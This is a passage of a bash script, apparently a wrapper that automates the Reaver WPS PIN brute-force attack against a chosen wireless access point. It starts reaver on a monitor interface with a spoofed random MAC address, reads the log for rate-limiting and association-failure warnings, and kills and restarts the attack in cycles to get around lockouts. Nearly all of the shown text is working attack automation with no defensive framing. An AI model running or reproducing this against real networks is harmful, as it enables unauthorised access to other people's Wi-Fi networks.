                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R22 == n || $USE_R22 == N ]] && [[ $USE_LONG22 == n || $USE_LONG22 == N ]] && [[ $USE_PIN22 == y || $USE_PIN22 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -vv -x 60  --pin=$WPS_PIN22 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R22 == y || $USE_R22 == Y ]] && [[ $USE_LONG22 == n || $USE_LONG22 == N ]] && [[ $USE_PIN22 == y || $USE_PIN22 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX22" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY22"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -vv -x 60 -r $RX22:$RY22 --pin=$WPS_PIN22 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R22 == n || $USE_R22 == N ]] && [[ $USE_LONG22 == y || $USE_LONG22 == Y ]] && [[ $USE_PIN22 == y || $USE_PIN22 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN22 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R22 == y || $USE_R22 == Y ]] && [[ $USE_LONG22 == y || $USE_LONG22 == Y ]] && [[ $USE_PIN22 == y || $USE_PIN22 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME22"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL22"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP22"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX22" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY22"
echo -e "$info Reaver live time                   = $yel$LIVE22 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME22-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL22 -b $TARGETAP22 -r $RX22:$RY22 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN22 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME22-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE22-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME22-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME22-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME22-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME22-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP22 (ESSID: $NMEWARN22)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

